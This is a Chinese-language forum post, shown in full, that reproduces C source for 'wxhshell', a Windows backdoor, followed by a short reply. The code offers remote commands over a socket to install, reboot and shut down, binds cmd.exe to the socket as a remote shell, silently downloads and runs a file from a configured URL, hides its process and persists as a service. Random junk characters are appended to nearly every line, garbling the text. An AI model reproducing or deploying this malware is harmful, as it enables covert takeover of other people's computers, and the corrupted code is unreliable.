  send(wsh,msg_ws_err,strlen(msg_ws_err),0); qu[x=LZ_  
  else wo[W1?|s  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 15r<n  
  } (0qdU;  
  else { VPf*>ph=  
kvdzD6T 9  
    switch(cmd[0]) { 9`)NFy?  
  eN%Ks  
  // 帮助 1GW=QbO 6  
  case '?': { N L]:<FG  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Z$,1Tk"O/s  
    break; h"YIAQ',  
  } z1LATy  
  // 安装 )4a&OlEI  
  case 'i': { QH4nb h4  
    if(Install()) 2&]UFg:8Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nrA}36E  
    else Vd|5JA}<"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oa`,|dA"  
    break; r}QW!^F  
    } A"C%.InZ  
  // 卸载 Gz!72H  
  case 'r': { `2NL'O:  
    if(Uninstall()) x-U^U.i@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d<qbUk3;  
    else -2tX 15,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qB7.LR*'  
    break; 1(!QutEb  
    } cCU'~  
  // 显示 wxhshell 所在路径 eF}Q8]da  
  case 'p': { FWdSpaas Q  
    char svExeFile[MAX_PATH]; _?@>S7-  
    strcpy(svExeFile,"\n\r"); NeHR% a2~  
      strcat(svExeFile,ExeFile); *`);_EVc  
        send(wsh,svExeFile,strlen(svExeFile),0); GwwxSB&y  
    break; *=S\jek  
    } : O t\l  
  // 重启 +]CKu$,8  
  case 'b': { Sd^e!? bp  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z5-"a?{Y  
    if(Boot(REBOOT)) ssi{(}H/Jv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P}&7G-  
    else { uiE9#G  
    closesocket(wsh); v>)[NAY9  
    ExitThread(0); .rG Rdb  
    } xv 7^  
    break; VuJth  
    } v2EM| Q xp  
  // 关机 vo uQ.utl  
  case 'd': { < 5[wP)K@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2{XQDOyA  
    if(Boot(SHUTDOWN)) x;Dr40wD@y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G5=(3V%  
    else { `W?aq]4x5  
    closesocket(wsh); t wtGkkC  
    ExitThread(0); IDE@{Dy  
    } w6R=r n  
    break; na  $z\C\  
    } :XBeGNI*#  
  // 获取shell } %S1OQC  
  case 's': { mkj`z  
    CmdShell(wsh); S][: b  
    closesocket(wsh); XV%L6x  
    ExitThread(0); bU2)pD!N  
    break; c !P9`l~MQ  
  } IH[/fd0  
  // 退出 z~o%U&DO}  
  case 'x': { W|D'S}J  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); RJF1~9  
    CloseIt(wsh); k@4]s_2  
    break; s;8J= \9W  
    } ,!%[CpM3  
  // 离开 ^"6xE nA]  
  case 'q': { r^#.yUz  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); pl q$t/.U;  
    closesocket(wsh); ;?zb (2  
    WSACleanup(); {x2N~1!E  
    exit(1); S:rW}rJ  
    break; ?PyI#G   
        } a4g=cs<9}  
  } X?4tOsd  
  } ,D ;`t  
OX|/yw8  
  // 提示信息 KQ3)^J_Z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .HZYSY:X  
} e *;"$7o9  
  } N ?V5gi  
x3wyIio*  
  return; tEiN(KA!5  
} ET=q 1t8  
<Er|s^C  
// shell模块句柄 6],5X^*Y  
int CmdShell(SOCKET sock) rU.ew~  
{ 3eI:$1"Q  
STARTUPINFO si; {v;Y}o-p  
ZeroMemory(&si,sizeof(si)); VD36ce9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^!pagt^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Fo?2nQ<  
PROCESS_INFORMATION ProcessInfo; =B<g_9d4  
char cmdline[]="cmd"; iOki ZN+d>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); l<7 b  
  return 0; p+9vSM #  
} y3;G<9K2c]  
:Q?xNY%  
// 自身启动模式 !i)?j@D  
int StartFromService(void) rf)\:75  
{ J# :%| F%  
typedef struct ) I-8 .  
{ O;qS 3  
  DWORD ExitStatus; +Icg;m{  
  DWORD PebBaseAddress; <bGSr23*  
  DWORD AffinityMask; '^7Sa  
  DWORD BasePriority; g&BF#)7C  
  ULONG UniqueProcessId; RMLs(?e  
  ULONG InheritedFromUniqueProcessId; jw(v08u >  
}   PROCESS_BASIC_INFORMATION; Qs;bVlp!H  
i/)Uj-*G)  
PROCNTQSIP NtQueryInformationProcess; hz\7Z+$L_  
lg1?g)lv  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Y#?Sqm(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5p=T*Y  
s\>$ K%!H?  
  HANDLE             hProcess; =P0~=UP  
  PROCESS_BASIC_INFORMATION pbi; #{ `(;83  
Nz5gu.a6{L  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); A5?[j QT0  
  if(NULL == hInst ) return 0; 1[X+6viE  
\ J9@p  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?N$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); iSIj ?.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); AX]lMe  
Zr oj-3-X~  
  if (!NtQueryInformationProcess) return 0; u4#BD!W  
sl/#1B   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #Q$9Eq8"[  
  if(!hProcess) return 0; aSKI %<?xN  
MlS<txFPS  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; j<wg>O:s%r  
JsVW:8QO~  
  CloseHandle(hProcess); 1(rH5z'F  
3{]i|1&j  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Os?~U/  
if(hProcess==NULL) return 0; (AXS QI~y  
mpXc o *!_  
HMODULE hMod; s?E7tmaM  
char procName[255]; b/5;377_  
unsigned long cbNeeded; !*+~R2&b  
Yz.[CmdX  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hD # Yz<  
)Q 6R6xW  
  CloseHandle(hProcess);   3xV  
9s5CqB  
if(strstr(procName,"services")) return 1; // 以服务启动 5XA6IL|/l  
)}n`MRDB  
  return 0; // 注册表启动 OYy%aA}h  
} cKFzn+  
*vUKh^="  
// 主模块 3EF|1B/5  
int StartWxhshell(LPSTR lpCmdLine) IqcPml{\  
{ LnrR#fF]Z  
  SOCKET wsl; & UL(r  
BOOL val=TRUE; XSn^$$S  
  int port=0; :6N{~[:4  
  struct sockaddr_in door; MP;7 u%   
[ ecYpE<  
  if(wscfg.ws_autoins) Install(); &{/ `Q ,  
ak0KrVF  
port=atoi(lpCmdLine); .5KRi6  
)bw^!w)  
if(port<=0) port=wscfg.ws_port; s26:(J [{  
552c4h/T  
  WSADATA data; sAC1Pda  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,? <jue/bd  
GkaIqBS  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {C|#<}1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); u+z$+[lm!G  
  door.sin_family = AF_INET; Qh%7RGh_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )?I1*(1{A  
  door.sin_port = htons(port); WI](a8bm  
>umcpkp- h  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X.%Xi'H  
closesocket(wsl); }bAd@a9>3  
return 1; IAhyGD{b  
} @,pO%,E6  
OZQhT)nS]  
  if(listen(wsl,2) == INVALID_SOCKET) { =JX.* MEB  
closesocket(wsl); *N[.']#n  
return 1; W>bhSKV%  
} %* vYX0W"  
  Wxhshell(wsl); -`&4>\o2Lx  
  WSACleanup(); P/,7CfyPd  
P\*-n"  
return 0; ov*zQP  
v^HDR 3I  
} no)Spo'  
Ep.,2H  
// 以NT服务方式启动 %4imlP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xJJlVP  
{ n|yl3v  
DWORD   status = 0; >"5^]o2?~l  
  DWORD   specificError = 0xfffffff; 1CFrV=d  
wvp\'* $  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _+wv3? c"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; t A\N$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2:&8FdU  
  serviceStatus.dwWin32ExitCode     = 0; Rr|VGtg  
  serviceStatus.dwServiceSpecificExitCode = 0; 4 (bV#   
  serviceStatus.dwCheckPoint       = 0; 0$":W  
  serviceStatus.dwWaitHint       = 0; !b7]n-1zs  
L!3{ASIN0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <E&1HeP  
  if (hServiceStatusHandle==0) return; B.'@~$  
h 34|v=8d  
status = GetLastError(); kIiId8l  
  if (status!=NO_ERROR) RR75ke[Hs  
{ 7h&$^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^.nvX{H8~=  
    serviceStatus.dwCheckPoint       = 0; `$nMTx]Y  
    serviceStatus.dwWaitHint       = 0; l:z :tJ#(  
    serviceStatus.dwWin32ExitCode     = status; {5#P1jlT  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~SUA.YuF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #fk)Y1  
    return; -l`@pklQ  
  } b+OLmd  
one^XYy1%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~V`D@-VND  
  serviceStatus.dwCheckPoint       = 0; PxfeU2^{0  
  serviceStatus.dwWaitHint       = 0; ":Kn@S'{(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ed'}ReLK  
} ga4 gH>4  
l^u P?l"  
// 处理NT服务事件,比如:启动、停止 3+EJ%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,b-wo  
{ x/[i &Gkv  
switch(fdwControl) .sbU-_ij@U  
{ it&c ,+8  
case SERVICE_CONTROL_STOP: q&<#)#+  
  serviceStatus.dwWin32ExitCode = 0; r[TS#hQ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~XsS00TL`G  
  serviceStatus.dwCheckPoint   = 0; $a15 8  
  serviceStatus.dwWaitHint     = 0; !V+5$TsS  
  { .x(&-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W#u}d2mP  
  } S82NU2L  
  return; bjm`u3 A  
case SERVICE_CONTROL_PAUSE: 7Kk rfJqN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +(/XMx}a  
  break; ?9H7Twi+T  
case SERVICE_CONTROL_CONTINUE: %b\xRt[0v7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; K[~Wj8W0  
  break; @T;O^rE~N  
case SERVICE_CONTROL_INTERROGATE: 0WF(Ga/o  
  break; (pi7TSJ  
}; f#eTi&w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }2`S@Rq.WW  
} e&; c^Z  
O3bK>9<K  
// 标准应用程序主函数 Se0/ysVB  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^>%=/RX  
{ j"94hWb  
Qbl6~>T  
// 获取操作系统版本 1Y}gki^F  
OsIsNt=GetOsVer(); B susXW$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %(6f  
qhK;#<#  
  // 从命令行安装 OUI}jJw+  
  if(strpbrk(lpCmdLine,"iI")) Install(); a Q`a>&R0  
;lYO)Z`3\  
  // 下载执行文件 )z/j5tnvm  
if(wscfg.ws_downexe) { B{)Du :)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) YgM6z K~  
  WinExec(wscfg.ws_filenam,SW_HIDE); ik8e  
} ;Jx ^  
yA%[ u.{  
if(!OsIsNt) { }ZVNDvGH  
// 如果时win9x,隐藏进程并且设置为注册表启动 (/k,q  
HideProc(); *2:)Rf  
StartWxhshell(lpCmdLine); l' "<  
} &RROra  
else D"^ogY#LK  
  if(StartFromService()) _^P>@ ^  
  // 以服务方式启动 *,'"\n  
  StartServiceCtrlDispatcher(DispatchTable); <}4|R_xY#  
else )s6tj lf8  
  // 普通方式启动 $<ZX};/D  
  StartWxhshell(lpCmdLine); f^$\+H"W  
 K[?wP>s  
return 0; A)`M*(~  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八